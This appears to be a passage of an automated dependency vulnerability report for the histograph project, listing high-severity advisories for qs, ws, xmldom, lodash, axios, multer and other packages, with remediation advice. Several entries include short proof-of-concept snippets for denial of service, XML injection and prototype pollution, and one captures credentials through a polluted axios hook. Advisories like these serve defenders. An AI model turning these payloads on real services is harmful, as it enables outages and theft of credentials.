Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: socket.io-parser
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-parser@2.3.1
    Remediation: Upgrade to socket.io@2.2.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-adapter@0.5.0 socket.io-parser@2.3.1
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 socket.io-parser@2.3.1
    Remediation: Upgrade to socket.io@2.2.0.

Overview

socket.io-parser is a socket.io protocol parser

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Decoder class, which accepts an unlimited number of binary attachments. An attacker can exploit this to exhaust server memory.

Remediation

Upgrade socket.io-parser to version 3.3.5, 3.4.4, 4.2.6 or higher.

References

high severity

Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: socket.io-parser
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-parser@2.3.1
    Remediation: Upgrade to socket.io@2.2.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-adapter@0.5.0 socket.io-parser@2.3.1
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 socket.io-parser@2.3.1
    Remediation: Upgrade to socket.io@2.2.0.

Overview

socket.io-parser is a socket.io protocol parser

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions via attachment handling. An attacker can cause the server to exhaust memory resources by sending specially crafted packets that make the server wait for and buffer a large number of binary attachments.

Remediation

Upgrade socket.io-parser to version 3.3.6, 3.4.5, 4.2.7 or higher.

References

high severity
new

Infinite loop

  • Vulnerable module: uri-js
  • Introduced through: seraph@0.15.3 and request@2.88.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 neo4j-driver@1.7.8 uri-js@4.4.1
  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2 har-validator@5.1.5 ajv@6.15.0 uri-js@4.4.1
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2 har-validator@5.1.5 ajv@6.15.0 uri-js@4.4.1
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2 har-validator@5.1.5 ajv@6.15.0 uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Infinite loop via the removeDotSegments function, which loops infinitely when a path segment begins with Unicode line separators (U+2028) or paragraph separators (U+2029). An attacker can trigger this by passing such a path to removeDotSegments directly, or through the normalize or resolve functions with IRI handling enabled, blocking the Node.js event loop indefinitely until heap exhaustion.

Remediation

There is no fixed version for uri-js.

References

high severity

Incomplete Filtering of One or More Instances of Special Elements

  • Vulnerable module: validator
  • Introduced through: validator@4.9.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph validator@4.9.0
    Remediation: Upgrade to validator@13.15.22.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.

PoC

Input;

const validator = require('validator');

console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 3? ${validator.isLength('test', { max: 3 })}`);
console.log(`Is "test" (String.length: ${'test'.length}) length less than or equal to 4? ${validator.isLength('test', { max: 4 })}`);
console.log(`Is "test\uFE0F\uFE0F\uFE0F\uFE0F" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length less than or equal to 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F', { max: 4 })}`);

Output:

Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true

Remediation

Upgrade validator to version 13.15.22 or higher.

References

high severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: ws
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 engine.io@1.8.5 ws@1.1.5
    Remediation: Upgrade to socket.io@2.3.0.
  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 socket.io-client@1.7.4 engine.io-client@1.8.6 ws@1.1.5
    Remediation: Upgrade to socket.io@2.4.0.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames

Workaround

This vulnerability can be mitigated by lowering the value of the maxPayload option.

PoC

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the recursive processing of deeply nested XML documents by several DOM-related operations, including normalize, serializeToString, getElementsByTagName, getElementsByTagNameNS, getElementsByClassName, getElementById, cloneNode, importNode, textContent, and isEqualNode. An attacker can cause the application to crash or become unresponsive by submitting a valid, deeply nested XML payload that triggers uncontrolled recursion and stack exhaustion.

PoC

const { DOMParser, XMLSerializer } = require('@xmldom/xmldom');

const depth = 5000;
const xml = '<a>'.repeat(depth) + '</a>'.repeat(depth);
const doc = new DOMParser().parseFromString(xml, 'text/xml');
new XMLSerializer().serializeToString(doc);
// RangeError: Maximum call stack size exceeded

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

XML Injection

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML Injection due to unvalidated comment serialization. When an application uses the package to create an XML comment from untrusted user input, the package fails to sanitize comment-breaking sequences (like -->). An attacker can input --> to terminate the comment prematurely. Once the comment is broken out of, any text the attacker places after the --> is treated as "live" XML markup by the serializer rather than harmless comment text.

PoC

const { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom');

const doc = new DOMImplementation().createDocument(null, 'root', null);

doc.documentElement.appendChild(
  doc.createComment('--><injected attr="1"/><!--')
);

const xml = new XMLSerializer().serializeToString(doc);
console.log(xml);
// <root><!----><injected attr="1"/><!----></root>

const reparsed = new DOMParser().parseFromString(xml, 'text/xml');
console.log(reparsed.documentElement.childNodes.item(1).nodeName);
// injected

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

XML Injection

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML Injection in the serialization of DocumentType nodes when attacker-controlled values are provided to the publicId, systemId, or internalSubset fields. An attacker can inject arbitrary XML markup into the serialized output by supplying specially crafted input to these fields, potentially leading to the injection of malicious DOCTYPE declarations or markup outside the intended context.

Note:

This is only exploitable if untrusted data is passed programmatically to createDocumentType or written directly to the relevant properties and then serialized without enabling strict validation.

Workaround

This vulnerability can be mitigated by passing the option { requireWellFormed: true } to XMLSerializer.serializeToString() to enforce validation of the affected fields.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

XML Injection

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML Injection via the createProcessingInstruction function. An attacker can inject arbitrary XML nodes into the serialized output by supplying specially crafted data containing the PI-closing sequence, which is not validated or neutralized during serialization. This can alter the structure and meaning of generated XML documents, potentially impacting workflows that store, forward, sign, or parse XML.

Note:

This is only exploitable if the serialization is performed without passing the { requireWellFormed: true } option.

PoC

const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

const doc = new DOMImplementation().createDocument(null, 'r', null);
doc.documentElement.appendChild(
    doc.createProcessingInstruction('a', '?><z/><?q ')
);
console.log(new XMLSerializer().serializeToString(doc));
// <r><?a ?><z/><?q ?></r>
//          ^^^^ injected <z/> element is active markup

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0, inquirer@0.10.1 and others

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.
  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.18.1.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Prototype Pollution through the copy() function in dom.js. Exploiting this vulnerability is possible via the p variable.

DISPUTED This vulnerability has been disputed by the maintainers of the package. Currently the only viable exploit that has been demonstrated is to pollute the target object (rather then the global object which is generally the case for Prototype Pollution vulnerabilities) and it is yet unclear if this limited attack vector exposes any vulnerability in the context of this package.

See the linked GitHub Issue for full details on the discussion around the legitimacy and potential revocation of this vulnerability.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for xmldom.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.

Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.

PoC

import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.2 or higher.

References

high severity
new

Race Condition

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.3.0.

Overview

Affected versions of this package are vulnerable to Race Condition in the fileFilter parameter. An attacker can upload files exceeding the intended size limit by exploiting a race condition when asynchronous filtering is used together with file size restrictions.

Remediation

Upgrade multer to version 2.3.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.11

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph lodash@4.17.11
    Remediation: Upgrade to lodash@4.17.20.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

PoC

const _ = require('lodash');

_.zipObjectDeep(['__proto__.z'],[123]);

console.log(z); // 123

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.20 or higher.

References

high severity
new

Denial of Service (DoS)

  • Vulnerable module: multer
  • Introduced through: multer@0.1.8

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph multer@0.1.8
    Remediation: Upgrade to multer@2.3.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via the diskStorage engine's _handleFile function, which fails to close or destroy the destination write stream when an upload is aborted before it completes. Each aborted request leaks an open file descriptor and retains its disk blocks until the process exits, allowing an attacker to exhaust the process's available file descriptors by repeatedly initiating and aborting multipart file uploads, causing a denial of service.

Note: This is only exploitable when diskStorage is used as the multer storage engine.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.3.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: underscore
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 js-yaml@2.0.5 argparse@0.1.16 underscore@1.7.0

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the _.flatten() or _.isEqual() functions that are used without a depth limit. An attacker can cause the application to crash or become unresponsive by supplying deeply nested data structures as input, leading to stack exhaustion.

Workaround

This vulnerability can be mitigated by enforcing a depth limit on data structures created from untrusted input (e.g., limiting nesting to 1000 levels or fewer), or by passing a finite depth limit as the second argument to the _.flatten() function.

Remediation

Upgrade underscore to version 1.13.8 or higher.

References

high severity

Arbitrary Code Execution

  • Vulnerable module: js-yaml
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 js-yaml@2.0.5
    Remediation: Upgrade to exectimer@2.0.0.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.

Remediation

Upgrade js-yaml to version 3.13.1 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: pug
  • Introduced through: pug@2.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph pug@2.0.4
    Remediation: Upgrade to pug@3.0.1.

Overview

pug is an A clean, whitespace-sensitive template language for writing HTML

Affected versions of this package are vulnerable to Remote Code Execution (RCE). If a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remote code execution on the node.js backend.

Remediation

Upgrade pug to version 3.0.1 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2 follow-redirects@1.5.10
    Remediation: Upgrade to axios@0.20.0.

Overview

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.

Remediation

Upgrade follow-redirects to version 1.16.0 or higher.

References

high severity

XML Injection

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

